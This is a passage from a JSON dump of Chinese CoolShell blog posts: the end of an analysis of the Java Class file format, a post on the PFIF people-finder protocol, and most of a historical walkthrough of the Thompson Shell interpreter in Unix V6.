descriptor\\_index表示常量池中的第12常量，其值为()V,表示<init>方法没有参数和返回值，其实这是编译器自动生成 的实例构造器方法。接下来的0x0001表示<init>方法的方法表有1个属性，属性截图如下：  \n\n![](../wp-content/uploads/2013/03/22.png)  \n\n从上图可以看出0x000D对应的常量池中的常量为Code,表示的方法的Code属性，所以到这里大家应该明白方法的那些代码是存储在Class文件方法表中的属性表中的Code属性中。接下来我们在分析一下Code属性，Code属性的结构如下图所示：  \n\n![](../wp-content/uploads/2013/03/23.png)\n\n\n其中attribute\\_name\\_index指向常量池中值为Code的常量，attribute\\_length的长度表示Code属性表的长度（这里 需要注意的时候长度不包括attribute\\_name\\_index和attribute\\_length的6个字节的长度）。\n\n\nmax\\_stack表示最大栈深度，虚拟机在运行时根据这个值来分配栈帧中操作数的深度，而max\\_locals代表了局部变量表的存储空间。\n\n\nmax\\_locals的单位为slot，slot是虚拟机为局部变量分配内存的最小单元，在运行时，对于不超过32位类型的数据类型，比如 byte,char,int等占用1个slot，而double和Long这种64位的数据类型则需要分配2个slot，另外max\\_locals的值并 不是所有局部变量所需要的内存数量之和，因为slot是可以重用的，当局部变量超过了它的作用域以后，局部变量所占用的slot就会被重用。\n\n\ncode\\_length代表了字节码指令的数量，而code表示的时候字节码指令，从上图可以知道code的类型为u1,一个u1类型的取值为0x00-0xFF,对应的十进制为0-255，目前虚拟机规范已经定义了200多条指令。\n\n\nexception\\_table\\_length以及exception\\_table分别代表方法对应的异常信息。\n\n\nattributes\\_count和attribute\\_info分别表示了Code属性中的属性数量和属性表，从这里可以看出Class的文件结构中，属性表是很灵活的，它可以存在于Class文件，方法表，字段表以及Code属性中。\n\n\n接下来我们继续以上面的例子来分析一下，从上面init方法的Code属性的截图中可以看出，属性表的长度为0x00000026,max\\_stack的 值为0x0002,max\\_locals的取值为0x0001,code\\_length的长度为0x0000000A，那么00000149h- 00000152h为字节码，接下来exception\\_table\\_length的长度为0x0000，而attribute\\_count的值为 0x0001，00000157h-00000158h的值为0x000E,它表示常量池中属性的名称，查看常量池得知第14个常量的值为 LineNumberTable，LineNumberTable用于描述java源代码的行号和字节码行号的对应关系，它不是运行时必需的属性，如果通 过-g:none的编译器参数来取消生成这项信息的话，最大的影响就是异常发生的时候，堆栈中不能显示出出错的行号，调试的时候也不能按照源代码来设置断 点，接下来我们再看一下LineNumberTable的结构如下图所示：\n\n\n![](../wp-content/uploads/2013/03/24.png)\n\n\n其中attribute\\_name\\_index上面已经提到过，表示常量池的索引，attribute\\_length表示属性长度，而start\\_pc和 line\\_number分表表示字节码的行号和源代码的行号。本例中LineNumberTable属性的字节流如下图所示：\n\n\n![](../wp-content/uploads/2013/03/25.png)\n\n\n上面分析完了TestClass的第一个方法，通过同样的方式我们可以分析出TestClass的第二个方法，截图如下：\n\n\n![](../wp-content/uploads/2013/03/26.png)\n\n\n其中access\\_flags为0x0001,name\\_index为0x000F,descriptor\\_index为0x0010，通过查看常量池可 以知道此方法为public int instanceMethod(int param)方法。通过和上面类似的方法我们可以知道instanceMethod的Code属性为下图所示：\n\n\n![](../wp-content/uploads/2013/03/27.png)\n\n\n最后我们来分析一下，Class文件的属性，从00000191h-00000199h为Class文件中的属性表，其中0x0011表示属性的名称，查看常量池可以知道属性名称为SourceFile，我们再来看看SourceFile的结构如下图所示：\n\n\n![](../wp-content/uploads/2013/03/28.png)\n\n\n其中attribute\\_length为属性的长度，sourcefile\\_index指向常量池中值为源代码文件名称的常量，在本例中SourceFile属性截图如下：\n\n\n![](../wp-content/uploads/2013/03/29.png)  \n\n其中attribute\\_length为0x00000002表示长度为2个字节，而soucefile\\_index的值为0x0012,查看常量池的第18个常量可以知道源代码文件的名称为TestClass.java\n\n\n最后，希望对技术感兴趣的朋友多交流。个人微博：（<http://weibo.com/xmuzyq>)\n\n\n(全文完)\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/11541.html)[面向GC的Java编程](https://coolshell.cn/articles/11541.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](https://coolshell.cn/articles/11454.html)[从LongAdder看更高效的无锁实现](https://coolshell.cn/articles/11454.html)\n* [![Java中的CopyOnWrite容器](../wp-content/uploads/2014/03/cow-copy-150x150.jpg)](https://coolshell.cn/articles/11175.html)[Java中的CopyOnWrite容器](https://coolshell.cn/articles/11175.html)\n* [![无锁HashMap的原理与实现](../wp-content/uploads/2013/05/图1-3-150x150.jpg)](https://coolshell.cn/articles/9703.html)[无锁HashMap的原理与实现](https://coolshell.cn/articles/9703.html)\nThe post [实例分析Java Class的文件结构](https://coolshell.cn/articles/9229.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2013-4-21 PFIF网上寻人协议.md",
    "content": "---\nlayout: post\ntitle: PFIF网上寻人协议\ndate: 2013/4/21/ 16:20:16\nupdated: 2013/4/21/ 16:20:16\nstatus: publish\npublished: true\ntype: post\n---\n\n本文的主要内容来自Wikipedia(<http://en.wikipedia.org/wiki/People_Finder_Interchange_Format>)\n\n\nPFIF全称People Finder Interchange Format，是一个应用广泛的数据开源的标准协议，这个协议主要是设计用来在不同的政府、救援组织、或是其它的一些灾难中生存者和其亲人联系的网站间进行数据交换的一种协议。\n\n\n![](../wp-content/uploads/2013/04/Google-Person-Finder.png)\n\n\n这个协议基于XML，信息中包括人的身份标识，还有人目前的位置和状态等一些信息。PFIF可以通过Atom和RSS feed出去。PFIF可以允许不同的寻人站点进行数据交换和合并。每一条记录都有一个唯一的标识，这个标识说明了这是由哪个域名创建的。这样，当A站点获得B点的某个人的数据时，在A站点可以对这个人的增加的信息可以转到其它站点上再被增加相关的信息，因为有一个唯一的ID，所以信息可以在不同的站点上被附加。\n\n\n从wikipedia上看，说起PFIF这个事，得回到2001年的911事件，那时人们一共使用了超过25个不同的在线论坛和网上寻人站来查找相关的亲人和朋友（注：寻人网站英文叫：Survivor Registry，生还者登记网站）。其中一个最大的网站是由伯克利大学的学生Ka-Ping Yee 和 Miriam Walker 开发运行在Millennium计算集群上的safe.millennium.berkeley.edu网站。那时，为了减少各种网站间的混乱，伯克利的寻人网站开始从其它几个比较大的寻人站点收集相关的数据，并人肉整合到一起。\n\n\n\n2005年，在[卡特里娜飓风](http://en.wikipedia.org/wiki/Hurricane_Katrina \"Hurricane Katrina\") 灾难的时候，有数据百万人迁移。于是相关的寻人网站又出现了，而且比911的还要多。于是有很多的志愿者开发了一个叫 [Katrina PeopleFinder Project（卡特里娜寻人项目）](http://en.wikipedia.org/wiki/Katrina_PeopleFinder_Project \"Katrina PeopleFinder Project\") 他们人肉地收集不同站点的数据，并统一格式放到一个由Salesfore.com提供一个数据库中。这个项目的组织者David Geilhufe 呼吁一个技术标准以便这些寻人网站间的数据可以自动地整合共享在一起。于是之前伯克利的那个 [Ka-Ping Yee](http://zesty.ca/) 开始和志愿者 Kieran Lal，Jonathan Plax 和 [CiviCRM](http://en.wikipedia.org/wiki/CiviCRM \"CiviCRM\") 团队一同工作，于是开始了草拟了第一版的PFIF协议，其于2005年9月4日发布，1.1版于第二天发布，其中修改了一些错误。随后，Salesfore.com的数据库开始支持这一标准，然后，Yahoo!和Google的寻人网站也加入这一协议。\n\n\n接下来， [2010年的海地地震](http://en.wikipedia.org/wiki/2010_Haiti_earthquake \"2010 Haiti earthquake\") 时，Google发布了自己的 [Google Person Finder](http://en.wikipedia.org/wiki/Google_Person_Finder \"Google Person Finder\")，其基于PFIF协议和CNN，纽约时报，以及美国国家医学图书馆和其它的一些寻人网站进行数据交换。然而，PFIF1.1是基于美国的社会标准搞的，并不适用于海地。于是2010年1月26日，PFIF1.2发布，其增加了几个字段用于标记生还者的国家和国际区号，还有性别，年纪，生日，状态，还有相同人的关联。\n\n\nPFIF 1.3 于2011年3月发布，其主要解决了个人隐私问题，其加入了一个字段指明该信息的一个有效时间，过期的数据会被删除。PFIF1.3同时移除了英式的first-name和last-name，取而代之的是full-name。\n\n\nPFIF 1.4 于2012年5月发布，其加入了一个字段用于链接这个人在互联网上的个人资源链接，这样可以用于合并相同的人（比如：指向同一个微博网址），还支持了多个照片。\n\n\n**PFIF1.4的Spec链接：<http://zesty.ca/pfif/1.4/>**\n\n\n如下的网站有软件实现了PFIF：\n\n\n* [Google Person Finder](http://en.wikipedia.org/wiki/Google_Person_Finder \"Google Person Finder\")\n* [Sahana Eden](http://en.wikipedia.org/wiki/Sahana_FOSS_Disaster_Management_System \"Sahana FOSS Disaster Management System\")\n* [National Library of Medicine People Locator](http://pl.nlm.nih.gov/index.php)\n* [Ushahidi](http://en.wikipedia.org/wiki/Ushahidi#Ushahidi \"Ushahidi\")\n* [PFIF .NET Library](http://code.google.com/p/pfifnet/)\n* [XML::PFIF Perl module](http://erislabs.net/ianb/projects/pfif/)\n\n\n本次四川地震，谷歌率先发布了他人寻人网站：<https://google.org/personfinder/2013-sichuan-earthquake>。接下来，国内的百度，360，搜索，一淘，CSDN，高德……都发布了自己的寻人网站，微博上，大家都在说这些企业不应该搞这么多这样的网站，这样只会造成混乱。而且大家都在呼吁大家一起运作一个网站，共享数据，共享信息。晚上，我在微博上看到了这个PFIF协议，于是写下这篇文章。\n\n\n关于Google 的寻人的数据可以通过Google PersonFinder API 下载和上传，这里是其API页面：\n\n\n**<http://code.google.com/p/googlepersonfinder/wiki/DataAPI>**\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![我看ChatGPT: 为啥谷歌掉了千亿美金](../wp-content/uploads/2023/02/chatgpt-150x150.jpg)](https://coolshell.cn/articles/22398.html)[我看ChatGPT: 为啥谷歌掉了千亿美金](https://coolshell.cn/articles/22398.html)\n* [![Google Inbox如何跨平台重用代码？](../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg)](https://coolshell.cn/articles/12136.html)[Google Inbox如何跨平台重用代码？](https://coolshell.cn/articles/12136.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg](https://coolshell.cn/articles/5815.html)[来信， 创业 和 移动互联网](https://coolshell.cn/articles/5815.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/5701.html)[SteveY对Amazon和Google平台的吐槽](https://coolshell.cn/articles/5701.html)\n* [![一些文章和各种资源](../wp-content/uploads/2011/09/image008-150x150.jpg)](https://coolshell.cn/articles/5224.html)[一些文章和各种资源](https://coolshell.cn/articles/5224.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/3.jpg](https://coolshell.cn/articles/4905.html)[语言的数据亲和力](https://coolshell.cn/articles/4905.html)\nThe post [PFIF网上寻人协议](https://coolshell.cn/articles/9508.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2013-4-26 Unix考古记：一个“遗失”的shell.md",
    "content": "---\nlayout: post\ntitle: Unix考古记：一个“遗失”的shell\ndate: 2013/4/26/ 14:29:56\nupdated: 2013/4/26/ 14:29:56\nstatus: publish\npublished: true\ntype: post\n---\n\n**(感谢网友Leo投递此文)**\n\n\n谨以此文纪念伟大的计算机科学巨匠[Ken Thompson](http://en.wikipedia.org/wiki/Ken_Thompson)和[Dennis Ritchie](http://en.wikipedia.org/wiki/Dennis_Ritchie)，并同时向其他所有为Unix发展做出贡献的黑客致敬。\n\n\n#### 历史的尘埃\n\n\nUnix作为一个举世闻名的操作系统已有40余年的历史，围绕着这个古老的操作系统的发展又衍生出了一系列外围软件生态群，其中一个非常重要的组件就是shell。**它是操作系统最外层的接口，负责直接面向用户交互并提供内核服务，**包括命令行接口(CLI)或图形界面接口(GUI)两种形式。以CLI为例，它提供一套命令规范，是一种解释性语言，将用户输入经过解释器(interpreter)输出使其转化成真正的系统调用，实现人机交互的功能。\n\n\n和操作系统一样，shell也经历了一个漫长的演变史。如今大部分资料讲述最古老的shell都是从1977年的[Bourne Shell](http://en.wikipedia.org/wiki/Bourne_shell)说起的，它最初移植到[Unix V7](http://en.wikipedia.org/wiki/Version_7_Unix)上，被追认整个shell家族成员的鼻祖，后来的种群都是从其身上分支出来的。\n\n\nhttps://www.ibm.com/developerworks/linux/library/l-linux-shells/figure1.gif\n\n\n对于1977年之前的历史很多资料大多一笔带过或略过不提。事实上，第一个移植到Unix上的shell却不是[Steve Bourne](http://en.wikipedia.org/wiki/Stephen_Richard_Bourne)写的，早在1975年5月，贝尔实验室就对外发布了第一个广泛传播的Unix版本——[Unix V6](http://en.wikipedia.org/wiki/UNIX_V6)（之前开发的版本只供内部研究之用），其根目录下的/bin/sh是第一个Unix自带的shell，由Ken Thompson写的，因此也被称为[Thompson Shell](http://en.wikipedia.org/wiki/Thompson_shell)。甚至，更早可以追溯到1971年的时候，Thompson Shell就作为一个独立于内核的应用程序而实现了，只不过从1975年正式问世到1977年被取代，短短两年的寿命使得它很少为大多数人所认识。\n\n\n\n关于Thompson Shell被取代的原因在后文中会给出说明，这里着重介绍一下该shell本身的一些技术细节。坦白讲，关于Thompson Shell的资料有点稀缺，但至少还能从网上找到[源代码](http://minnie.tuhs.org/Archive/PDP-11/Distributions/research/Dennis_v6/)和[在线文档](http://minnie.tuhs.org/cgi-bin/utree.pl?file=V6/usr/man)。Thompson Shell本身是由一个不足900行代码的解释器和一些外部命令工具组件(utilities)构成，用[K&R C](http://en.wikipedia.org/wiki/K%26R_C#K.26R_C)写成，下面给出各个组件的相关源码和文档链接。\n\n\n* **解释器sh**：解析各种shell命令，包括内置命令和外部命令；源码sh.c；安装路径/bin/sh；手册[sh(1)](http://minnie.tuhs.org/cgi-bin/utree.pl?file=V6/usr/man/man1/sh.1)。\n\n\n* **内置命令**手册包括[chdir(1)](http://minnie.tuhs.org/cgi-bin/utree.pl?file=V6/usr/man/man1/chdir.1)，[login(1)](http://minnie.tuhs.org/cgi-bin/utree.pl?file=V6/usr/man/man1/login.1)，[newgrp(1)](http://minnie.tuhs.org/cgi-bin/utree.pl?file=V6/usr/man/man1/newgrp.1)，[shift(1)](http://minnie.tuhs.org/cgi-bin/utree.pl?file=V6/usr/man/man1/shift.1)，[wait(1)](http://minnie.tuhs.org/cgi-bin/utree.pl?file=V6/usr/man/man1/wait.1)。\n\n\n下面是外部命令：\n\n\n* **exit命令**：退出一个文件；源码exit.c；安装路径/bin/exit；手册[exit(1)](http://minnie.tuhs.org/cgi-bin/utree.pl?file=V6/usr/man/man1/exit.1)。\n\n\n* **goto命令**：在一个文件内跳转shell控制流程；源码goto.c；安装路径/bin/goto；手册[goto(1)](http://minnie.tuhs.org/cgi-bin/utree.pl?file=V6/usr/man/man1/goto.1)。\n\n\n* **if命令**：条件判断表达式，是test命令的前身；源码if.c；安装路径/bin/if), 手册[if(1)](http://minnie.tuhs.org/cgi-bin/utree.pl?file=V6/usr/man/man1/if.1)。\n\n\n* **glob命令**：扩展命令参数通配符；源码glob.c；安装路径/etc/glob；手册[glob(8)](http://minnie.tuhs.org/cgi-bin/utree.pl?file=V6/usr/man/man8/glob.8)。\n\n\n#### 命令结构和规范\n\n\n尽管后来遭“埋汰”，Thompson Shell仍有着不容否认的历史地位，其最大的价值在于**它奠定了shell命令语言结构和规范的基础，而且其解释器具有跨平台的可移植性，并影响到了后来包括Bourne Shell在内的各种脚本语言设计实现。**下面我们就以其中5个特性重温一些大家已经耳熟能详的命令规范，你也可以通过[sh(1)](http://minnie.tuhs.org/cgi-bin/utree.pl?file=V6/usr/man/man1/sh.1)手册查看原始资料。\n\n\n* **过滤器/管道线(filter/pipeline)。**这绝对是要载入Unix史册的发明，创立者是[Douglas McIlroy](http://en.wikipedia.org/wiki/Douglas_McIlroy)，Thompson Shell引入并实现了这个伟大的概念——一个或多个命令组成一根过滤器的链条，由’|’或’^’符号分隔。除最后一个命令之外，每个命令的标准输出都被作为下一个命令的标准输入。这样每个命令都作为一个独立的进程来运行，并通过管道与邻近的进程相连接。圆括弧内的命令序列整体上可以替代单个命令作为过滤器实现，比如用户可以输入”(A;B)|C”。\n\n\n* **命令序列和后台进程。**分号’;’指示多个命令序列化执行。’&’符号指示该命令在后台异步执行，使得前面的管道线不必等待其终止，仅仅报告一个进程id，这样用户以后可以通过kill命令与它通信。有益于进程管理。\n\n\n* **I/O重定向。**它利用了Unix设计上的一个重要特性——**一切皆文件**，用三个符号表示：”重定向输出，如果文件不存在则创建它，如果文件存在则截断它；’>>’追加模式重定向输出，如果文件不存在则创建它，如果文件存在则追加输出至末尾处。\n\n\n* **通配符扩展(globbing)。**通配符的概念源自于正则表达式，使得解释器智能地处理用户不完全输入，比如记不清文件名、一次性输入多个文件等。’?’匹配任意单一字符；’\\*’匹配任意字符串（包括空串）；成对'[‘和’]’定义了字符集合一个类，可匹配方括号内任意成员，用’-‘两端可指定一系列连续字符匹配范围。\n\n\n* **参数传递。**这里主要引入了位置参数和选项参数的概念：’$n’指示shell调用的第n个参数替代；还定义了两个选项参数’-t’和’-c’，前者用于交互，导致shell从标准输入中读入一行作为用户执行的系统命令，后者指示shell将附带的下一个参数作为命令执行（可正确处理换行符），是对’-t’的补充，特别是调用者已经读取了命令其中某些字符的情况下。如果不带选项参数则直接读取文件名\n\n\n#### 解释器的原理与实现\n\n\n接下来马上要进入核心部分了，为了搞懂shell解释器原理，我们要对其整个工作流程做个描述（这里给出一份带注解的sh.c源码剖析）。读过《编译原理》的同学知道，解释器的实现跟编译器差不多，只不过省略了生成目标代码这一步，直接将用户输入（shell命令）转化成输出（系统调用）。**软件前端是一致的，包括预处理、词法扫描、语法分析和语义分析，最后还要附加一个进程管理。**当然相较于现代编译器，Thompson Shell解释器在算法和规模上都要简单得多，不过原理上是相通的，何况年代上要比Lex & Yacc还要早。麻雀虽小，五脏俱全，对于初学者来说，从Thompson Shell去入手编译原理或许不失为一种好选择。\n\n\n#### 预处理(preprocessor)\n\n\n同C预处理器需要事先将源代码中包含的宏和头文件展开一样，Thompson Shell首先需要处理命令中的**选项参数**和**位置参数**。选项参数有两种’-t’和’-c’，决定了shell从标准输入还是参数缓存中读取字符（见[sh(1)](http://minnie.tuhs.org/cgi-bin/utree.pl?file=V6/usr/man/man1/sh.1)）。此外字符序列中还要处理**反斜杠’\\’**，判断是转义字符还是行接续符，前者对下一个字符设置引用标识，表明做普通字符处理，后者将紧邻其后换行符过滤掉。\n\n\n位置参数是**美元符号’$’**打头的，后带一个数字，如’$n’，预处理器对shell命令参数从头开始计数，返回数字n指定的参数位置。如果遇上double’$$’，则表示当前的进程标识，调用getpid()获取。\n\n\n注意到预处理器需要一次读取多个字符，这样就会多读一个不必要的字符。对此解释器提供了一种**预读(peek)**方式，即每次从输入流读取一个字符时，放入一个预读缓存里（只有一个int大小的堆栈），也叫**回退(push back)**。此后先从预读缓存中读取，如果缓存被读完，则从输入流中读取。\n\n\n#### 词法扫描(lexical scanning)\n\n\n经过预处理后的字符序列将被切割成为一系列**词法记号(token)**，安置在token列表中，扫描器将对以下几类字符做如下处理。\n\n\n* **空格和tab**：简单过滤。\n\n\n* **引号**：需要成对出现，字符本身被过滤，一对引号之间所有字符都被设置引用标识，作为一个token。\n\n\n* **元字符**：如’&’，’|’等，字符本身作为一个单独token。\n\n\n* **其他字符**：一律填充token，直到碰上以上字符分隔为止。\n\n\n举一个例子，当我们输入命令”(ls; cat tail) >junk”，那么token列表映像将是这样的：\n\n\n![](../wp-content/uploads/2013/04/图1.jpg)\n\n\n#### 语法分析(syntax parser)\n\n\n语法分析就是将token列表中的元素作为**表达式(expression)**并以节点为单位构建语法树，简单命令是一个表达式，而复合命令以及命令序列是多个表达式的组合。Thompson Shell中以简单数组作为语法树的容器，实际上这是结构体的一种变形，只不过每个成员字段大小都一样（都是sizeof int）而已。一个语法树节点最多有6个字段（大小根据类型可变），分别是\n\n\n* **DTYP（节点类型）**：每个节点都有唯一的类型，又分为四种——TCOM（简单命令）、TPAR（复合命令）、TFIL（过滤器/管道线）、TLST（命令序列）。\n\n\n* **DLEF（左子树节点）**：相当于链表指针，根据DTYP定义有所不同。如过滤器类型左子树节点为前一个命令的输出重定向文件，右子树节点为后一个命令的输入重定向文件。\n\n\n* **DRIG（右子树节点）**：同上。\n\n\n* **DFLG（节点属性）**：这是个标志位(flag)，决定该节点包含命令的属性以及以什么样的状态执行。\n\n\n* **DSPR（子命令）**：两重含义，对于简单命令，该字段为空；对于复合命令，该字段指向子语法树节点。\n\n\n* **DCOM（命令字符）**：引用命令字符序列。\n\n\n语法树节点生成顺序根据token列表中每个元素的**优先级(priority)**而定，首先遍历整个列表，找到优先级最高的token作为根节点，再分别生成左右子树，这是一种最简单的**自顶向下(top-down)**解决方案。各个token优先级视DTYP字段而定\n\n\n\n\n|  |  |  |\n| --- | --- | --- |\n| 优先级 | Token | DTYP |\n| 第一级 | ‘&’  ‘;’  ‘\\n’ | TLST |\n| 第二级 | ‘|’  ‘^’ | TFIL |\n| 第三级 |  ‘(‘  ‘)’ | TPAR |\n| 第四级 | 其它字符 | TCOM |\n\n\n语法树的构建过程中还使用了一种基于**“有限状态机(finite-state machine)”**的动态规划算法，其实现是将整个逻辑流程划分为四个状态：syntax、syn1、syn2、syn3，对应于上面token优先级，程序在每个状态下都生成一个相应类型的节点，同时还生成四种策略，以决议下一步将转移到何种状态（根据优先级搜索对应的token）。这个四种策略分别是\n\n\n* **生成左子树**：左边token列表递进到下层状态。\n\n\n* **生成右子树**：右边token列表并回溯到上层状态或递归调用。\n\n\n* **找不到对应token**：保持原有token列表递进到下层状态。\n\n\n* **生成节点**：直接返回节点。\n\n\n当我们遍历完整个token列表后，程序总是能返回最初的调用点，即根节点上，从而生成一棵完整的语法树。这种算法的好处是**程序员不必关注具体实现的每个细枝末节，只要关注相应的状态并制定对应的转移策略即可。**还值得一提的是每个转移策略都是发生在赋值语句或返回语句上，并使用函数实参保存临时变量，这样就避免了调用次数过多导致堆栈溢出。\n\n\n依旧举两个个例子，比如命令”A & ; B | C”对应的语法树\n\n\n![](../wp-content/uploads/2013/04/图2.jpg)\n\n\n命令”(A ; B) | C”对应的语法树：\n\n\n![](../wp-content/uploads/2013/04/图3.jpg)\n\n\n#### 语义分析(Semantic Analyzer)\n\n\n语法分析仅仅停留在token表达式合法性层面上，它并不知道该表达式是否有意义，比如哪些命令是要后台运行，哪些命令的I/O被重定向到管道线上，通配符该如何扩展等等，这时候要靠语义分析了。这里的“语义”体现在对特殊字符的动态处理以及语法树节点的字段设置，根据**上下文(context)**而定。比如对于元字符’>’，我们要判断输出重定向到哪个文件，是截断还是追加。对于通配符’?’、’\\*’和'[…]’，我们要决定对哪些字符进行扩展，这些在/etc/glob中专门处理。对于语法树节点，除了自身固有属性之外，还需要继承上层节点的属性，以及下推属性到下层子树节点，下面列了一张表格说明。\n\n\n\n\n|  |  |  |  |\n| --- | --- | --- | --- |\n| DTYP | DLEF/DRIG | DFLG | DSPR |\n| TLST | 可以为空，也可以是其它节点，类型可以是TLST/TFIL/TCOM | 自身属性为0；如果带’&’，则下推属性FINT|FAND|FPRS到左右子树（忽略信号、后台异步，打印pid） | 空 |\n| TFIL | 必须同时存在、，类型只能是TCOM或TPAR | 自身属性继承自上层TLST；下推FPIN到左子树节点；下推FPOU到右子树节点。 | 空 |\n| TPAR | 空 | 继承上层的TLST和TFIL；如果是追加模式重定向输出，加上FCAT；如果是复合命令中最后一个子命令，加上FPAR， 将不会fork子进程。 | 子命令 |\n| TCOM | 左子树节点为输入重定向文件，右子树为节点输出重定向文件。 | 空 |\n\n\n#### 执行命令(Executor)\n\n\n当前面一系列步骤之后，如果错误计数为0，则解释器从语法树的根节点开始，**深度优先遍历**所有节点，并根据前面语法和语义分析得到的类型和属性，一一执行所包含的命令，以生成最后的系统调用。\n\n\n对于**命令序列(TLST)节点**，从左至右顺序执行子树节点命令。\n\n\n对于**过滤器(TFIL)节点**，创建管道文件句柄，作为左右子树的重定向文件。\n\n\n对于**简单命令(TCOM)和复合命令(TPAR)节点**，首先筛选出系统内置命令(built-in)，对于剩下的外部命令则fork一个子进程执行它。如果是复合命令中最后一个子命令，那么仍在原来的进程上执行而不必创建新进程。可执行文件路径按先后顺序搜索：①本地路径；②/bin；③/usr/bin。\n\n\n**多进程环境下，特别要注意文件句柄管理**。命令间共享标准输入输出设备之外，还会重定向到管道线，而父进程在fork之后子进程会获取一份文件句柄拷贝，所以**父进程必须在fork之后立即关闭闲置的管道线句柄（如果有的话）以免造成资源泄漏，子进程也将在重定向之后关闭管道线句柄。**\n\n\n对于**后台命令**需要打印pid，但不需要响应中断信号，父进程也不必等待子进程终止。其余进程命令执行中可捕获中断信号，并转入相应的处理函数。\n\n\n解释器用内置的errno全局变量保存进程终止状态，并生成**终止报告(termination report)**，系统调用wait()用于返回终止进程的pid并输出报告消息索引。\n\n\n#### 孰优孰劣\n\n\n尽管Thompson Shell是一款优秀的命令解释器，还产生了多项历史创举，但遗憾的是依然得不到命运女神的垂青，这要归咎于其自身的缺陷——**功能单一、命令分散、控制流过于简单，尚无法用来编写脚本(script)**。随着Unix日益壮大，它已经无法应付趋于繁杂的编程项目了。那时还出现了一个叫[John Mashey](http://en.wikipedia.org/wiki/John_Mashey)的人写的[PWB Shell](http://en.wikipedia.org/wiki/PWB_shell)（又叫做Mashey Shell），基于Thompson Shell做了些改进，扩展了命令集，增加了shell变量，还增加了if-then-else-endif，for，while等控制逻辑。不幸的是它比Thompson Shell更短命，因为1977年它遇上了一个强劲的对手。\n\n\n没错，那就是Bourne Shell，它的主要优点是真正实现了结构化脚本编程，比之前的shell实现得都要好，更要命的是它与前两个shell都不兼容，于是一场标准化的论战开始了。在[David G. Korn](http://en.wikipedia.org/wiki/David_Korn_(computer_scientist))（[ksh](http://en.wikipedia.org/wiki/Korn_shell)作者）写的[“ksh – An Extensible High Level Language”](http://www.in-ulm.de/~mascheck/bourne/korn.html)一文中提及，Steve Bourne和John Mashey在三次连续的Unix用户组集会上争论他们各自的理由。在这些集会之间，各自增进他们的shell来拥有对方的功能。还设立了一个委员会来选择标准shell，最终还是选择了Bourne shell作为标准。\n\n\n于是从Unix V7开始就有了前面所说的”Bourne Shell Family”。然而历史上没有完美的技术，随着八、九十年代操作系统迅猛发展，针对Bourne Shell的诟病也越来越多了。在解释器本身实现上，我看到网上一个对其评价是[“universally considered to be one of the most horrible C code ever written”](http://lwn.net/Articles/471015/)，至于原因去看一下mac.h就知道了，包括基本运算符、关键字在内的大量宏定义使得整个代码看上去简直不是C写的，也许Bourne是想把解释器打造成自己独特的风格吧，也难怪后来的bash以**“born again”**命名就是对其祖先的戏谑性调侃。另外[内存管理](http://www.in-ulm.de/~mascheck/bourne/segv.html)上的一些毛病带来平台可移植性问题，至于其中的技术细节有点高级，超出本文范畴。\n\n\n#### Thompson Again Shell?\n\n\n虽然历史没有给Thompson Shell一个机会，但它并非就此同Unix V6那样一同沦为开源博物馆上的古老“化石”。作为出自顶级黑客之手的作品，作为伴随Unix那样伟大操作系统一同曾经流行计算机的产物，至今仍受国内外程序员的缅怀，或将其改写，或为其作注。比如国外一个站点[v6shell.org](http://v6shell.org/)上就实现了一个免费开源的可移植性shell，它兼容并扩充原来的Thompson Shell并且可用来做脚本编程。再比如中国程序员[寒蝉退士](http://blog.chinaunix.net/uid-20106293-id-142129.html)在其个人博客上发布了一个注解版，并对原版做了一些改写，主要是将**K&R C**转为**ANSI C**，并且符合**POSIX规范**，使原本晦涩难懂的源码变得清晰易读起来。正是因为接触到他的版本激起了我对老Unix的考古兴趣，才有了这篇“考古笔记”。我在想不知今后会不会像bash那样，出一个tash来呢？\n\n\n#### 一些感想\n\n\n本来全文应该就此结束了，但此时此刻不禁想多说几句。这篇笔记当初并非有意而为之，在hacking源码的过程中感想积累多了也就逐渐成章了。看代码、作注解、查资料、写此文，前后历经四个多礼拜，是在繁杂的工作中“挤乳沟”挤出来的零散时间片拼凑起来的，虽然文字不长但也算耗费了一番心血，酸甜苦辣心中自明，体会到踏上社会之后潜下心做研究之艰难。如今面对这样一份不到900行写成的，没有一行多余的代码，**简洁(clarity)、干净(clean)、快速(fast)，**这就是Pure C的魅力，我深为这种厚重的编程功力所折服，正所谓**“大道至简”**吧。虽然要完全弄懂它需要很多时间，但我相信这种代价却是值得的。\n\n\n最后再八卦一下，2011年Dennis Ritchie去世了，有人生前问过他“学C需要多久才能成为熟练开发者并写出重要产品代码？”，Ritchie回答“我不知道，我从没去学过C。”[(I don’t know. I never had to learn C.)](http://www.cs.columbia.edu/~aho/Talks/12-09-07_DMR.pdf)其实这里已经给出了答案——**那就是没有比去阅读Unix源代码更好的选择了，某种意义上C语言就是为Unix而生的。**\n\n\nhttp://th05.deviantart.net/fs71/PRE/f/2011/296/7/2/dennis_ritchie_by_juanosborne-d4dooi9.jpg\n\n\n#### 参考资料\n\n\n[The Unix Heritage Society](http://www.tuhs.org/)：Unix社区遗产，上面有v6和v7以及其它一些衍生版本的操作系统源代码。\n\n\n[The Traditional Bourne Shell 